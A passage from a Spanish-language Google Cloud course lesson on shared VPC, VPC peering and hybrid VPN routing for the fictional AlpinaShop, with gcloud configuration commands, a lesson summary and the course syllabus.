--project=alpinashop-datos192.168.10.0/24 no aparecerá en la lista.
Corrección. Hay dos caminos, y la diferencia entre ellos es la moraleja de la lección:
Camino 1 — Parchear el emparejamiento. Activar la exportación de rutas personalizadas en el lado de alpinashop-vpc y la importación en el lado de datos, y además anunciar por BGP el rango de la VPC de datos hacia Sabadell:
gcloud compute networks peerings update red-hacia-datos \
--network=alpinashop-vpc --export-custom-routes --project=alpinashop-red
gcloud compute networks peerings update datos-hacia-red \
--network=vpc-datos --import-custom-routes --project=alpinashop-datos
gcloud compute routers update alpinashop-router-euw1 \
--region=europe-west1 --advertisement-mode=custom \
--set-advertisement-groups=all-subnets \
--set-advertisement-ranges=10.30.0.0/16=vpc-datos \
--project=alpinashop-redFunciona, pero deja una topología que hay que recordar y documentar, y que se romperá la próxima vez que alguien añada una red.
Camino 2 — La solución correcta: eliminar el emparejamiento. alpinashop-datos es un proyecto propio de AlpinaShop, en la misma organización. No debería tener VPC propia emparejada: debería ser un proyecto de servicio de la VPC compartida. En cuanto lo sea, sus recursos estarán en alpinashop-vpc, verán las rutas de la VPN como cualquier otro recurso, y el problema desaparece sin configurar nada.
Esta es la lección del ejercicio, y del apartado 6: el emparejamiento se usa cuando la otra red es de otro. Emparejar redes propias dentro de la misma organización crea trabajo permanente para resolver problemas que la VPC compartida no tiene. Si te encuentras exportando rutas personalizadas entre dos VPC tuyas, es que elegiste la herramienta equivocada.
Conclusión
La red de AlpinaShop ha pasado de ser una VPC en un proyecto a ser una plataforma de red diseñada.
Sabes reconocer cuándo una VPC deja de bastar por sus siete señales, y sabes que lo primero —antes de tocar nada— es el plan de direccionamiento, con su regla inviolable: dos rangos que puedan llegar a conectarse alguna vez no pueden solaparse. Con las decisiones que lo hacen duradero: un /16 por región con el segundo octeto como identificador, esquema idéntico entre regiones, reservas para lo que aún no existe, y rangos prohibidos explícitamente —172.16.0.0/12 por Docker, 169.254.0.0/16 por BGP, y los "obvios" reservados para el día que compres una empresa.
Dominas la VPC compartida: proyecto host propio y casi vacío en la carpeta compartido, proyectos de servicio que aportan cómputo y facturación, y los dos roles que lo gobiernan — compute.xpnAdmin para vincular proyectos, concedido en la carpeta y no en la organización, y compute.networkUser concedido sobre la subred concreta, que es donde está la mitad del valor del modelo. Con el permiso del agente serverless-robot-prod que nadie adivina, y con la verdad incómoda de que una VM no se migra de red: se recrea.
Distingues el emparejamiento con sus tres limitaciones —no es transitivo, los rangos no pueden solaparse, las cuotas se agregan— y sabes que --export-custom-routes está desactivado por defecto y es la causa número uno de "está emparejado pero no llego". Tienes la tabla de decisión con su regla: proyectos míos y una sola red que gobernar → compartida; red de otro → emparejamiento; más de cinco redes y sedes → Network Connectivity Center y su topología radial.
Conoces Private Service Connect en sus tres usos: extremos con IP tuya hacia las APIs de Google —que a diferencia de Private Google Access sí funcionan desde el otro lado del túnel—, consumo de servicios de terceros sin compartir redes ni rangos, y publicación de los tuyos. Y sabes por qué ha sustituido al emparejamiento como forma estándar de conectar con socios.
Has conectado la tienda de Sabadell de verdad: la tabla de las tres opciones híbridas con ancho de banda, latencia, SLA, coste y plazo, la elección razonada de Cloud VPN HA para kilobytes de stock, y la implementación completa —pasarela con dos interfaces, pasarela externa, Cloud Router con ASN, dos túneles con IKEv2 y secreto en Secret Manager, dos sesiones BGP con prioridades 100 y 200, firewall y verificación—. Entiendes el BGP de verdad: ASN, rutas anunciadas y aprendidas, prioridades, y por qué el dinámico gana al estático en cuanto haya más de una subred. Y sabes que numLearnedRoutes: 0 con el túnel ESTABLISHED significa que el problema no es tuyo.
Sabes gobernar el anuncio de rutas con --advertisement-mode=custom, incluido el rango de acceso a servicios privados sin el cual Cloud SQL es inalcanzable desde la sede aunque todo parezca correcto, y conoces los cinco errores clásicos de enrutamiento con su síntoma y su remedio.
Has levantado un perímetro de VPC Service Controls que responde al riesgo real: unas credenciales filtradas ya no pueden sacar los datos, porque IAM autoriza pero el perímetro no deja cruzar la frontera. Con niveles de acceso, --dry-run como paso no negociable, la tabla de lo que se rompe habitualmente, y la advertencia doble: nunca un viernes, y que lo revise un profesional de seguridad y cumplimiento antes de producción.
Sabes diagnosticar en lugar de suponer: pruebas de conectividad que devuelven NO_ROUTE con la causa exacta, topología, analizador de firewall y Flow Logs con muestreo. Has seguido un fallo real de principio a fin —túnel arriba, BGP arriba, cero rutas aprendidas, firmware restaurado en Sabadell— y has visto lo que se cambia después: alertas sobre numLearnedRoutes, sobre el estado de los túneles, y sobre la frescura del stock, porque la detección la seguía haciendo un humano tres horas tarde.
Y conoces los niveles Premium y Estándar, y sobre todo dónde se esconde la factura del tráfico: la entrada es gratis, la salida se paga, y el tráfico entre zonas —que casi nadie mira— aparece en cuanto hay alta disponibilidad. Con los cuatro escondites clásicos y las tres palancas: CDN, colocación y compresión.
Ese último apartado es el puente. Esta lección ha dejado ver una parte de la factura que nadie estaba mirando, y no es la única: han pasado siete módulos añadiendo servicios —VM, buckets, BigQuery, Dataflow, un clúster, endpoints de Vertex AI, logs, trazas, ahora túneles y Flow Logs— y nadie ha abierto la factura entera y la ha entendido línea a línea.
Antes de eso queda algo con más urgencia. Se ha construido seguridad en cada módulo: firewall en 03-01, WAF en 03-05, IAM en 03-04, secretos y CMEK en 03-06, TLS en 03-07, ahora perímetros. Pero nunca se ha mirado el conjunto. La siguiente lección hace justo eso: revisa la seguridad de AlpinaShop capa por capa, de la identidad a la detección, y escribe honestamente la deuda que queda.
Curso de Google Cloud Platform (GCP)
Módulo 1: Introducción a Google Cloud Platform
- ¿Qué es Google Cloud Platform?
- Configuración de tu cuenta de GCP
- Descripción general de la consola de GCP
- Proyectos, jerarquía de recursos y facturación
- Regiones, zonas y modelo de responsabilidad compartida
- Cloud Shell y la CLI de gcloud
Módulo 2: Servicios principales de GCP
- Compute Engine: máquinas virtuales en Google Cloud
- Cloud Storage: almacenamiento de objetos
- Cloud SQL: bases de datos relacionales gestionadas
- App Engine: plataforma como servicio
- Google Kubernetes Engine (GKE)
- Bases de datos NoSQL: Firestore, Bigtable y Spanner
- Cómo elegir el servicio de cómputo adecuado
Módulo 3: Redes y seguridad
- Redes VPC
- Balanceo de carga en la nube
- Cloud CDN
- Gestión de identidad y acceso (IAM)
- Cloud Armor
- Secretos y cifrado: Secret Manager y Cloud KMS
- Cloud DNS, certificados TLS y publicación segura de servicios
Módulo 4: Datos y análisis
- BigQuery: el almacén de datos analítico
- Cloud Dataflow: procesamiento de datos por lotes y en streaming
- Cloud Dataproc: Spark y Hadoop gestionados
- Cloud Pub/Sub: mensajería asíncrona
- Cloud Data Fusion: integración de datos sin código
- Orquestación de pipelines con Cloud Composer y Workflows
- Gobierno del dato y cuadros de mando con Dataplex y Looker Studio
Módulo 5: Aprendizaje automático e IA
- Vertex AI: la plataforma de machine learning de GCP
- AutoML: modelos a medida sin escribir código
- TensorFlow en GCP: entrenamiento y servicio de modelos
- API de lenguaje natural
- API de visión
- IA generativa en Vertex AI: modelos Gemini y embeddings
- MLOps: del modelo al producto con Vertex AI Pipelines
Módulo 6: DevOps y monitoreo
- Cloud Build: integración continua en GCP
- Cloud Source Repositories y gestión del código fuente
- Cloud Functions: funciones sin servidor
- Cloud Monitoring (antes Stackdriver): métricas, paneles y alertas
- Cloud Deployment Manager e infraestructura como código nativa
- Cloud Logging y Cloud Trace: logs, trazas y diagnóstico
- Terraform en GCP: infraestructura como código en la práctica
Módulo 7: Temas avanzados de GCP
- Híbrido y multinube con Anthos
- Computación sin servidor con Cloud Run
- Redes avanzadas: VPC compartida, peering y conectividad híbrida
- Mejores prácticas de seguridad
- Gestión y optimización de costos
- Fiabilidad: SLO, alta disponibilidad y recuperación ante desastres
- Gobierno a escala: organización, políticas y auditoría
